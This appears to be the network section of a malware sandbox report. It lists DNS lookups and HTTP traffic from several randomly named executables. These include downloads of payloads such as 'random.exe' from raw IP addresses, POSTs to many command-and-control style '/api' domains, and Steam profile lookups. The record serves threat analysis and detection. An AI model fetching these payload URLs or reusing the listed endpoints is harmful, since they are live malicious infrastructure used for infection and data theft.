
                        HTTP Response

                        200
                      • 172.67.157.254:443
                        https://lev-tolstoi.com/api
                        tls, http
                        b5a0016111.exe
                        979 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://lev-tolstoi.com/api

                        HTTP Response

                        200
                      • 185.215.113.16:80
                        http://185.215.113.16/off/random.exe
                        http
                        skotes.exe
                        161.6kB
                        8.9MB
                        3424
                        6365

                        HTTP Request

                        GET http://185.215.113.16/luma/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.215.113.16/steam/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.215.113.16/well/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.215.113.16/off/random.exe

                        HTTP Response

                        200
                      • 20.26.156.215:443
                        github.com
                        tls
                        94f0301255.exe
                        344 B
                        179 B
                        5
                        4
                      • 20.26.156.215:443
                        github.com
                        tls
                        94f0301255.exe
                        344 B
                        179 B
                        5
                        4
                      • 185.156.73.23:80
                        http://185.156.73.23/soft/download
                        http
                        6d4b9dcf61.exe
                        28.7kB
                        1.9MB
                        470
                        1389

                        HTTP Request

                        GET http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/dll/key

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/dll/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/soft/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://185.156.73.23/soft/download

                        HTTP Response

                        200
                      • 185.121.15.192:80
                        http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=0
                        http
                        1b12d9265c.exe
                        328 B
                        584 B
                        5
                        5

                        HTTP Request

                        GET http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=0

                        HTTP Response

                        404
                      • 172.67.197.170:443
                        https://discokeyus.lat/api
                        tls, http
                        818f5dca0c.exe
                        978 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://discokeyus.lat/api

                        HTTP Response

                        200
                      • 185.121.15.192:80
                        http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
                        http
                        1b12d9265c.exe
                        401 B
                        544 B
                        5
                        4

                        HTTP Request

                        POST http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851

                        HTTP Response

                        404
                      • 172.67.215.121:443
                        https://necklacebudi.lat/api
                        tls, http
                        818f5dca0c.exe
                        980 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://necklacebudi.lat/api

                        HTTP Response

                        200
                      • 104.21.112.1:443
                        https://energyaffai.lat/api
                        tls, http
                        818f5dca0c.exe
                        979 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://energyaffai.lat/api

                        HTTP Response

                        200
                      • 104.21.66.85:443
                        https://aspecteirs.lat/api
                        tls, http
                        818f5dca0c.exe
                        978 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://aspecteirs.lat/api

                        HTTP Response

                        200
                      • 104.21.16.1:443
                        https://sustainskelet.lat/api
                        tls, http
                        818f5dca0c.exe
                        981 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://sustainskelet.lat/api

                        HTTP Response

                        200
                      • 104.21.52.127:443
                        https://crosshuaht.lat/api
                        tls, http
                        818f5dca0c.exe
                        978 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://crosshuaht.lat/api

                        HTTP Response

                        200
                      • 185.215.113.206:80
                        http://185.215.113.206/c4becf79229cb002.php
                        http
                        4d412062f0.exe
                        727 B
                        625 B
                        5
                        5

                        HTTP Request

                        GET http://185.215.113.206/

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.206/c4becf79229cb002.php

                        HTTP Response

                        200
                      • 2.22.99.85:443
                        https://steamcommunity.com/profiles/76561199724331900
                        tls, http
                        818f5dca0c.exe
                        1.6kB
                        43.8kB
                        24
                        38

                        HTTP Request

                        GET https://steamcommunity.com/profiles/76561199724331900

                        HTTP Response

                        200
                      • 172.67.157.254:443
                        https://lev-tolstoi.com/api
                        tls, http
                        818f5dca0c.exe
                        979 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://lev-tolstoi.com/api

                        HTTP Response

                        200
                      • 127.0.0.1:51568
                        firefox.exe
                      • 127.0.0.1:51576
                        firefox.exe
                      • 172.217.18.206:443
                        https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd
                        tls, http2
                        firefox.exe
                        2.1kB
                        10.0kB
                        17
                        20

                        HTTP Request

                        GET https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

                        HTTP Request

                        GET https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd
                      • 34.120.5.221:443
                        https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=40249-e88c401e1b1f2242d9e441c4&locale_lang=en-US&region=GB&count=30
                        tls, http2
                        firefox.exe
                        1.8kB
                        12.7kB
                        14
                        17

                        HTTP Request

                        GET https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=40249-e88c401e1b1f2242d9e441c4&locale_lang=en-US&region=GB&count=30
                      • 172.217.20.174:443
                        www.youtube.com
                        tls
                        firefox.exe
                        977 B
                        6.9kB
                        10
                        8
                      • 142.250.179.110:443
                        https://consent.youtube.com/m?continue=https%3A%2F%2Fwww.youtube.com%2Faccount%3F%3Dhttps%253A%252F%252Faccounts.google.com%252Fv3%252Fsignin%252Fchallenge%252Fpwd%26cbrd%3D1&gl=GB&m=0&pc=yt&cm=2&hl=en&src=1
                        tls, http2
                        firefox.exe
                        3.0kB
                        65.4kB
                        35
                        59

                        HTTP Request

                        GET https://consent.youtube.com/m?continue=https%3A%2F%2Fwww.youtube.com%2Faccount%3F%3Dhttps%253A%252F%252Faccounts.google.com%252Fv3%252Fsignin%252Fchallenge%252Fpwd%26cbrd%3D1&gl=GB&m=0&pc=yt&cm=2&hl=en&src=1
                      • 34.117.121.53:443
                        firefox-settings-attachments.cdn.mozilla.net
                        tls
                        firefox.exe
                        1.7kB
                        21.2kB
                        18
                        25
                      • 172.217.20.164:443
                        https://www.google.com/favicon.ico
                        tls, http2
                        firefox.exe
                        1.8kB
                        7.3kB
                        15
                        14

                        HTTP Request

                        GET https://www.google.com/favicon.ico
                      • 104.21.67.146:443
                        https://cheapptaxysu.click/api
                        tls, http
                        2cf1899635.exe
                        1.6kB
                        10.1kB
                        13
                        18

                        HTTP Request

                        POST https://cheapptaxysu.click/api

                        HTTP Response

                        403

                        HTTP Request

                        POST https://cheapptaxysu.click/api

                        HTTP Response

                        200
                      • 20.26.156.215:443
                        github.com
                        tls
                        3c62c3d17f.exe
                        344 B
                        179 B
                        5
                        4
                      • 172.67.209.202:443
                        https://pancakedipyps.click/api
                        tls, http
                        3aa5453546.exe
                        983 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://pancakedipyps.click/api

                        HTTP Response

                        200
                      • 172.67.197.170:443
                        https://discokeyus.lat/api
                        tls, http
                        3aa5453546.exe
                        974 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://discokeyus.lat/api

                        HTTP Response

                        200
                      • 172.67.215.121:443
                        https://necklacebudi.lat/api
                        tls, http
                        3aa5453546.exe
                        976 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://necklacebudi.lat/api

                        HTTP Response

                        200
                      • 172.67.180.113:443
                        https://treehoneyi.click/api
                        tls, http
                        8797d752f7.exe
                        980 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://treehoneyi.click/api

                        HTTP Response

                        200
                      • 104.21.112.1:443
                        https://energyaffai.lat/api
                        tls, http
                        3aa5453546.exe
                        975 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://energyaffai.lat/api

                        HTTP Response

                        200
                      • 88.221.134.209:80
                        http://ciscobinary.openh264.org/openh264-win64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
                        http
                        firefox.exe
                        6.1kB
                        467.3kB
                        126
                        344

                        HTTP Request

                        GET http://ciscobinary.openh264.org/openh264-win64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip

                        HTTP Response

                        200
                      • 104.21.66.85:443
                        https://aspecteirs.lat/api
                        tls, http
                        3aa5453546.exe
                        974 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://aspecteirs.lat/api

                        HTTP Response

                        200
                      • 172.217.20.174:443
                        redirector.gvt1.com
                        tls
                        firefox.exe
                        1.6kB
                        8.9kB
                        17
                        21
                      • 104.21.16.1:443
                        https://sustainskelet.lat/api
                        tls, http
                        3aa5453546.exe
                        977 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://sustainskelet.lat/api

                        HTTP Response

                        200
                      • 74.125.175.169:443
                        r4---sn-aigzrnsz.gvt1.com
                        tls
                        firefox.exe
                        136.7kB
                        8.7MB
                        2633
                        6254
                      • 104.21.52.127:443
                        https://crosshuaht.lat/api
                        tls, http
                        3aa5453546.exe
                        1.4kB
                        4.5kB
                        11
                        10

                        HTTP Request

                        POST https://crosshuaht.lat/api

                        HTTP Response

                        200
                      • 172.67.197.170:443
                        https://discokeyus.lat/api
                        tls, http
                        8797d752f7.exe
                        974 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://discokeyus.lat/api

                        HTTP Response

                        200
                      • 172.67.215.121:443
                        https://necklacebudi.lat/api
                        tls, http
                        8797d752f7.exe
                        976 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://necklacebudi.lat/api

                        HTTP Response

                        200
                      • 104.21.112.1:443
                        https://energyaffai.lat/api
                        tls, http
                        8797d752f7.exe
                        975 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://energyaffai.lat/api

                        HTTP Response

                        200
                      • 104.21.66.85:443
                        https://aspecteirs.lat/api
                        tls, http
                        8797d752f7.exe
                        974 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://aspecteirs.lat/api

                        HTTP Response

                        200
                      • 104.21.16.1:443
                        https://sustainskelet.lat/api
                        tls, http
                        8797d752f7.exe
                        977 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://sustainskelet.lat/api

                        HTTP Response

                        200
                      • 104.21.52.127:443
                        https://crosshuaht.lat/api
                        tls, http
                        8797d752f7.exe
                        974 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://crosshuaht.lat/api

                        HTTP Response

                        200
                      • 2.22.99.85:443
                        https://steamcommunity.com/profiles/76561199724331900
                        tls, http
                        3aa5453546.exe
                        1.3kB
                        42.9kB
                        18
                        36

                        HTTP Request

                        GET https://steamcommunity.com/profiles/76561199724331900

                        HTTP Response

                        200
                      • 104.21.66.86:443
                        https://lev-tolstoi.com/api
                        tls, http
                        3aa5453546.exe
                        979 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://lev-tolstoi.com/api

                        HTTP Response

                        200
                      • 216.58.214.174:443
                        https://play.google.com/log?hasfast=true&authuser=0&format=json
                        tls, http2
                        firefox.exe
                        2.7kB
                        8.7kB
                        16
                        21

                        HTTP Request

                        POST https://play.google.com/log?hasfast=true&authuser=0&format=json
                      • 2.22.99.85:443
                        https://steamcommunity.com/profiles/76561199724331900
                        tls, http
                        8797d752f7.exe
                        1.1kB
                        33.0kB
                        14
                        29

                        HTTP Request

                        GET https://steamcommunity.com/profiles/76561199724331900

                        HTTP Response

                        200
                      • 34.226.108.155:443
                        httpbin.org
                        tls
                        53c67451a6.exe
                        1.5kB
                        6.5kB
                        14
                        16
                      • 147.45.113.159:80
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                        http
                        53c67451a6.exe
                        454.2kB
                        6.8kB
                        330
                        157

                        HTTP Request

                        POST http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322

                        HTTP Response

                        200
                      • 104.21.12.88:443
                        https://lossekniyyt.click/api
                        tls, http
                        63c55cb05c.exe
                        981 B
                        4.5kB
                        9
                        9

                        HTTP Request

                        POST https://lossekniyyt.click/api

                        HTTP Response

                        200
                      • 172.67.197.170:443
                        https://discokeyus.lat/api
                        tls, http
                        63c55cb05c.exe
                        978 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://discokeyus.lat/api

                        HTTP Response

                        200
                      • 172.67.215.121:443
                        https://necklacebudi.lat/api
                        tls, http
                        63c55cb05c.exe
                        980 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://necklacebudi.lat/api

                        HTTP Response

                        200
                      • 104.21.112.1:443
                        https://energyaffai.lat/api
                        tls, http
                        63c55cb05c.exe
                        979 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://energyaffai.lat/api

                        HTTP Response

                        200
                      • 104.21.66.85:443
                        https://aspecteirs.lat/api
                        tls, http
                        63c55cb05c.exe
                        978 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://aspecteirs.lat/api

                        HTTP Response

                        200
                      • 104.21.16.1:443
                        https://sustainskelet.lat/api
                        tls, http
                        63c55cb05c.exe
                        981 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://sustainskelet.lat/api

                        HTTP Response

                        200
                      • 104.21.52.127:443
                        https://crosshuaht.lat/api
                        tls, http
                        63c55cb05c.exe
                        978 B
                        4.4kB
                        9
                        9

                        HTTP Request

                        POST https://crosshuaht.lat/api

                        HTTP Response

                        200
                      • 2.22.99.85:443
                        https://steamcommunity.com/profiles/76561199724331900
                        tls, http
                        63c55cb05c.exe
                        1.1kB
                        33.0kB
                        14
                        30

                        HTTP Request

                        GET https://steamcommunity.com/profiles/76561199724331900

                        HTTP Response

                        200
                      • 147.45.113.159:80
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=0
                        http
                        53c67451a6.exe
                        331 B
                        544 B
                        5
                        4

                        HTTP Request

                        GET http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=0

                        HTTP Response

                        404
                      • 147.45.113.159:80
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                        http
                        53c67451a6.exe
                        404 B
                        544 B
                        5
                        4

                        HTTP Request

                        POST http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322

                        HTTP Response

                        404
                      • 8.8.8.8:53
                        httpbin.org
                        dns
                        1b12d9265c.exe
                        160 B
                        250 B
                        2
                        2

                        DNS Request

                        httpbin.org

                        DNS Request

                        httpbin.org

                        DNS Response

                        98.85.100.80
                        34.226.108.155

                      • 8.8.8.8:53
                        bellflamre.click
                        dns
                        b5a0016111.exe
                        62 B
                        127 B
                        1
                        1

                        DNS Request

                        bellflamre.click

                      • 8.8.8.8:53
                        immureprech.biz
                        dns
                        b5a0016111.exe
                        61 B
                        109 B
                        1
                        1

                        DNS Request

                        immureprech.biz

                        DNS Response

                        178.62.201.34
                        104.131.68.180
                        45.77.249.79

                      • 8.8.8.8:53
                        deafeninggeh.biz
                        dns
                        b5a0016111.exe
                        62 B
                        110 B
                        1
                        1

                        DNS Request

                        deafeninggeh.biz

                        DNS Response

                        104.131.68.180
                        178.62.201.34
                        45.77.249.79

                      • 8.8.8.8:53
                        home.fivetk5ht.top
                        dns
                        1b12d9265c.exe
                        174 B
                        226 B
                        2
                        2

                        DNS Request

                        home.fivetk5ht.top

                        DNS Request

                        home.fivetk5ht.top

                        DNS Response

                        185.121.15.192

                      • 8.8.8.8:53
                        effecterectz.xyz
                        dns
                        b5a0016111.exe
                        62 B
                        127 B
                        1
                        1

                        DNS Request

                        effecterectz.xyz

                      • 8.8.8.8:53
                        diffuculttan.xyz
                        dns
                        b5a0016111.exe
                        62 B
                        127 B
                        1
                        1

                        DNS Request

                        diffuculttan.xyz

                      • 8.8.8.8:53
                        debonairnukk.xyz
                        dns
                        b5a0016111.exe
                        62 B
                        127 B
                        1
                        1

                        DNS Request

                        debonairnukk.xyz

                      • 8.8.8.8:53
                        wrathful-jammy.cyou
                        dns
                        b5a0016111.exe
                        65 B
                        130 B
                        1
                        1

                        DNS Request

                        wrathful-jammy.cyou

                      • 8.8.8.8:53
                        awake-weaves.cyou
                        dns
                        b5a0016111.exe
                        63 B
                        128 B
                        1
                        1

                        DNS Request

                        awake-weaves.cyou

                      • 8.8.8.8:53
                        sordid-snaked.cyou
                        dns
                        b5a0016111.exe
                        64 B
                        129 B
                        1
                        1

                        DNS Request

                        sordid-snaked.cyou

                      • 8.8.8.8:53
                        steamcommunity.com
                        dns
                        63c55cb05c.exe
                        64 B
                        80 B
                        1
                        1

                        DNS Request

                        steamcommunity.com

                        DNS Response

                        2.22.99.85

                      • 8.8.8.8:53
                        lev-tolstoi.com
                        dns
                        3aa5453546.exe
                        61 B
                        93 B
                        1
                        1

                        DNS Request

                        lev-tolstoi.com

                        DNS Response

                        172.67.157.254
                        104.21.66.86

                      • 8.8.8.8:53
                        github.com
                        dns
                        3c62c3d17f.exe
                        56 B
                        72 B
                        1
                        1

                        DNS Request

                        github.com

                        DNS Response

                        20.26.156.215

                      • 8.8.8.8:53
                        sweepyribs.lat
                        dns
                        818f5dca0c.exe
                        60 B
                        125 B
                        1
                        1

                        DNS Request

                        sweepyribs.lat

                      • 8.8.8.8:53
                        grannyejh.lat
                        dns
                        63c55cb05c.exe
                        118 B
                        124 B
                        2
                        1

                        DNS Request

                        grannyejh.lat

                        DNS Request

                        grannyejh.lat

                      • 8.8.8.8:53
                        home.fivetk5ht.top
                        dns
                        1b12d9265c.exe
                        174 B
                        226 B
                        2
                        2

                        DNS Request

                        home.fivetk5ht.top

                        DNS Request

                        home.fivetk5ht.top

                        DNS Response

                        185.121.15.192

                      • 8.8.8.8:53
                        discokeyus.lat
                        dns
                        63c55cb05c.exe
                        60 B
                        92 B
                        1
                        1

                        DNS Request

                        discokeyus.lat

                        DNS Response

                        172.67.197.170
                        104.21.21.99

                      • 8.8.8.8:53
                        home.fivetk5ht.top
                        dns
                        1b12d9265c.exe
                        174 B
                        226 B
                        2
                        2

                        DNS Request

                        home.fivetk5ht.top

                        DNS Request

                        home.fivetk5ht.top

                        DNS Response

                        185.121.15.192

                      • 8.8.8.8:53
                        necklacebudi.lat
                        dns
                        63c55cb05c.exe
                        62 B
                        94 B
                        1
                        1

                        DNS Request

                        necklacebudi.lat

                        DNS Response

                        172.67.215.121
                        104.21.50.254

                      • 8.8.8.8:53
                        energyaffai.lat
                        dns
                        63c55cb05c.exe
                        61 B
                        173 B
                        1
                        1

                        DNS Request

                        energyaffai.lat

                        DNS Response

                        104.21.112.1
                        104.21.80.1
                        104.21.96.1
                        104.21.16.1
                        104.21.64.1
                        104.21.48.1
                        104.21.32.1

                      • 8.8.8.8:53
                        aspecteirs.lat
                        dns
                        63c55cb05c.exe
                        60 B
                        92 B
                        1
                        1

                        DNS Request

                        aspecteirs.lat

                        DNS Response

                        104.21.66.85
                        172.67.157.253

                      • 8.8.8.8:53
                        sustainskelet.lat
                        dns
                        63c55cb05c.exe
                        63 B
                        175 B
                        1
                        1

                        DNS Request

                        sustainskelet.lat

                        DNS Response

                        104.21.16.1
                        104.21.96.1
                        104.21.80.1
                        104.21.112.1
                        104.21.48.1
                        104.21.64.1
                        104.21.32.1

                      • 8.8.8.8:53
                        crosshuaht.lat
                        dns
                        63c55cb05c.exe
                        60 B
                        92 B
                        1
                        1

                        DNS Request

                        crosshuaht.lat

                        DNS Response

                        104.21.52.127
                        172.67.199.59

                      • 8.8.8.8:53
                        rapeflowwj.lat
                        dns
                        63c55cb05c.exe
                        60 B
                        125 B
                        1
                        1

                        DNS Request

                        rapeflowwj.lat

                      • 8.8.8.8:53
                        steamcommunity.com
                        dns
                        63c55cb05c.exe
                        64 B
                        80 B
                        1
                        1

                        DNS Request

                        steamcommunity.com

                        DNS Response

                        2.22.99.85

                      • 8.8.8.8:53
                        youtube.com
                        dns
                        firefox.exe
                        57 B
                        73 B
                        1
                        1

                        DNS Request

                        youtube.com

                        DNS Response

                        172.217.18.206

                      • 8.8.8.8:53
                        youtube.com
                        dns
                        firefox.exe
                        57 B
                        73 B
                        1
                        1

                        DNS Request

                        youtube.com

                        DNS Response

                        172.217.18.206

                      • 8.8.8.8:53
                        youtube.com
                        dns
                        firefox.exe
                        57 B
                        85 B
                        1
                        1

                        DNS Request

                        youtube.com

                        DNS Response

                        2a00:1450:4007:805::200e

                      • 8.8.8.8:53
                        spocs.getpocket.com
                        dns
                        firefox.exe
                        65 B
                        131 B
                        1
                        1

                        DNS Request

                        spocs.getpocket.com

                        DNS Response

                        34.117.188.166

                      • 8.8.8.8:53
                        getpocket.cdn.mozilla.net
                        dns
                        firefox.exe
                        71 B
                        174 B
                        1
                        1

                        DNS Request

                        getpocket.cdn.mozilla.net

                        DNS Response

                        34.120.5.221

                      • 8.8.8.8:53
                        prod.ads.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        82 B
                        98 B
                        1
                        1

                        DNS Request

                        prod.ads.prod.webservices.mozgcp.net

                        DNS Response

                        34.117.188.166

                      • 8.8.8.8:53
                        prod.pocket.prod.cloudops.mozgcp.net
                        dns
                        firefox.exe
                        82 B
                        98 B
                        1
                        1

                        DNS Request

                        prod.pocket.prod.cloudops.mozgcp.net

                        DNS Response

                        34.120.5.221

                      • 8.8.8.8:53
                        prod.pocket.prod.cloudops.mozgcp.net
                        dns
                        firefox.exe
                        82 B
                        110 B
                        1
                        1

                        DNS Request

                        prod.pocket.prod.cloudops.mozgcp.net

                        DNS Response

                        2600:1901:0:524c::

                      • 8.8.8.8:53
                        prod.ads.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        82 B
                        175 B
                        1
                        1

                        DNS Request

                        prod.ads.prod.webservices.mozgcp.net

                      • 8.8.8.8:53
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        103 B
                        119 B
                        1
                        1

                        DNS Request

                        prod.content-signature-chains.prod.webservices.mozgcp.net

                        DNS Response

                        34.160.144.191

                      • 8.8.8.8:53
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        103 B
                        131 B
                        1
                        1

                        DNS Request

                        prod.content-signature-chains.prod.webservices.mozgcp.net

                        DNS Response

                        2600:1901:0:92a9::

                      • 8.8.8.8:53
                        shavar.prod.mozaws.net
                        dns
                        firefox.exe
                        68 B
                        116 B
                        1
                        1

                        DNS Request

                        shavar.prod.mozaws.net

                        DNS Response

                        44.228.225.150
                        52.40.120.141
                        44.240.87.158

                      • 172.217.18.206:443
                        youtube.com
                        https
                        firefox.exe
                        3.2kB
                        9.3kB
                        6
                        10
                      • 8.8.8.8:53
                        www.youtube.com
                        dns
                        firefox.exe
                        61 B
                        271 B
                        1
                        1

                        DNS Request

                        www.youtube.com

                        DNS Response

                        172.217.20.174
                        172.217.20.206
                        142.250.201.174
                        216.58.213.78
                        216.58.214.174
                        142.250.178.142
                        142.250.179.110
                        172.217.18.206
                        142.250.74.238
                        142.250.179.78
                        142.250.75.238

                      • 8.8.8.8:53
                        shavar.prod.mozaws.net
                        dns
                        firefox.exe
                        68 B
                        153 B
                        1
                        1

                        DNS Request

                        shavar.prod.mozaws.net

                      • 8.8.8.8:53
                        youtube-ui.l.google.com
                        dns
                        firefox.exe
                        69 B
                        245 B
                        1
                        1

                        DNS Request

                        youtube-ui.l.google.com

                        DNS Response

                        142.250.75.238
                        216.58.213.78
                        142.250.179.110
                        172.217.20.174
                        142.250.179.78
                        172.217.20.206
                        172.217.18.206
                        142.250.74.238
                        216.58.214.174
                        142.250.178.142
                        142.250.201.174

                      • 8.8.8.8:53
                        prod.remote-settings.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        94 B
                        110 B
                        1
                        1

                        DNS Request

                        prod.remote-settings.prod.webservices.mozgcp.net

                        DNS Response

                        34.149.100.209

                      • 8.8.8.8:53
                        youtube-ui.l.google.com
                        dns
                        firefox.exe
                        69 B
                        181 B
                        1
                        1

                        DNS Request

                        youtube-ui.l.google.com

                        DNS Response

                        2a00:1450:4007:80c::200e
                        2a00:1450:4007:80e::200e
                        2a00:1450:4007:810::200e
                        2a00:1450:4007:806::200e

                      • 8.8.8.8:53
                        prod.remote-settings.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        94 B
                        187 B
                        1
                        1

                        DNS Request

                        prod.remote-settings.prod.webservices.mozgcp.net

                      • 172.217.20.174:443
                        youtube-ui.l.google.com
                        https
                        firefox.exe
                        3.7kB
                        9.3kB
                        12
                        11
                      • 8.8.8.8:53
                        consent.youtube.com
                        dns
                        firefox.exe
                        65 B
                        81 B
                        1
                        1

                        DNS Request

                        consent.youtube.com

                        DNS Response

                        142.250.179.110

                      • 8.8.8.8:53
                        consent.youtube.com
                        dns
                        firefox.exe
                        65 B
                        81 B
                        1
                        1

                        DNS Request

                        consent.youtube.com

                        DNS Response

                        142.250.179.110

                      • 8.8.8.8:53
                        consent.youtube.com
                        dns
                        firefox.exe
                        65 B
                        93 B
                        1
                        1

                        DNS Request

                        consent.youtube.com

                        DNS Response

                        2a00:1450:4007:818::200e

                      • 8.8.8.8:53
                        firefox-settings-attachments.cdn.mozilla.net
                        dns
                        firefox.exe
                        90 B
                        177 B
                        1
                        1

                        DNS Request

                        firefox-settings-attachments.cdn.mozilla.net

                        DNS Response

                        34.117.121.53

                      • 8.8.8.8:53
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        106 B
                        122 B
                        1
                        1

                        DNS Request

                        attachments.prod.remote-settings.prod.webservices.mozgcp.net

                        DNS Response

                        34.117.121.53

                      • 8.8.8.8:53
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        dns
                        firefox.exe
                        106 B
                        199 B
                        1
                        1

                        DNS Request

                        attachments.prod.remote-settings.prod.webservices.mozgcp.net

                      • 142.250.179.110:443
                        consent.youtube.com
                        https
                        firefox.exe
                        4.0kB
                        10.3kB
                        10
                        13
                      • 8.8.8.8:53
                        www.google.com
                        dns
                        firefox.exe
                        60 B
                        76 B
                        1
                        1

                        DNS Request

                        www.google.com

                        DNS Response

                        172.217.20.164

                      • 8.8.8.8:53
                        www.google.com
                        dns
                        firefox.exe
                        60 B
                        76 B
                        1
                        1

                        DNS Request

                        www.google.com

                        DNS Response

                        172.217.20.164

                      • 8.8.8.8:53
                        www.google.com
                        dns
                        firefox.exe
                        60 B
                        88 B
                        1
                        1

                        DNS Request

                        www.google.com

                        DNS Response

                        2a00:1450:4007:80c::2004

                      • 172.217.20.164:443
                        www.google.com
                        https
                        firefox.exe
                        1.9kB
                        9.3kB
                        6
                        10
                      • 8.8.8.8:53
                        consent.youtube.com
                        dns
                        firefox.exe
                        65 B
                        81 B
                        1
                        1

                        DNS Request

                        consent.youtube.com

                        DNS Response

                        142.250.179.110

                      • 8.8.8.8:53
                        consent.youtube.com
                        dns
                        firefox.exe
                        65 B
                        81 B
                        1
                        1

                        DNS Request

                        consent.youtube.com

                        DNS Response

                        142.250.179.110

                      • 8.8.8.8:53
                        cheapptaxysu.click
                        dns
                        2cf1899635.exe
                        64 B
                        96 B
                        1
                        1

                        DNS Request

                        cheapptaxysu.click

                        DNS Response

                        104.21.67.146
                        172.67.177.88

                      • 8.8.8.8:53
                        pancakedipyps.click
                        dns
                        3aa5453546.exe
                        65 B
                        97 B
                        1
                        1

                        DNS Request

                        pancakedipyps.click

                        DNS Response

                        172.67.209.202
                        104.21.23.76

                      • 8.8.8.8:53
                        treehoneyi.click
                        dns
                        8797d752f7.exe
                        62 B
                        94 B
                        1
                        1

                        DNS Request

                        treehoneyi.click

                        DNS Response

                        172.67.180.113
                        104.21.91.209

                      • 8.8.8.8:53
                        prod.balrog.prod.cloudops.mozgcp.net
                        dns
                        firefox.exe
                        82 B
                        98 B
                        1
                        1

                        DNS Request

                        prod.balrog.prod.cloudops.mozgcp.net

                        DNS Response

                        35.244.181.201

                      • 8.8.8.8:53
                        prod.balrog.prod.cloudops.mozgcp.net
                        dns
                        firefox.exe
                        82 B
                        175 B
                        1
                        1

                        DNS Request

                        prod.balrog.prod.cloudops.mozgcp.net

                      • 8.8.8.8:53
                        ciscobinary.openh264.org
                        dns
                        firefox.exe
                        70 B
                        286 B
                        1
                        1

                        DNS Request

                        ciscobinary.openh264.org

                        DNS Response

                        88.221.134.209
                        88.221.134.155

                      • 8.8.8.8:53
                        a19.dscg10.akamai.net
                        dns
                        firefox.exe
                        67 B
                        99 B
                        1
                        1

                        DNS Request

                        a19.dscg10.akamai.net

                        DNS Response

                        88.221.134.209
                        88.221.134.155

                      • 8.8.8.8:53
                        a19.dscg10.akamai.net
                        dns
                        firefox.exe
                        67 B
                        123 B
                        1
                        1

                        DNS Request

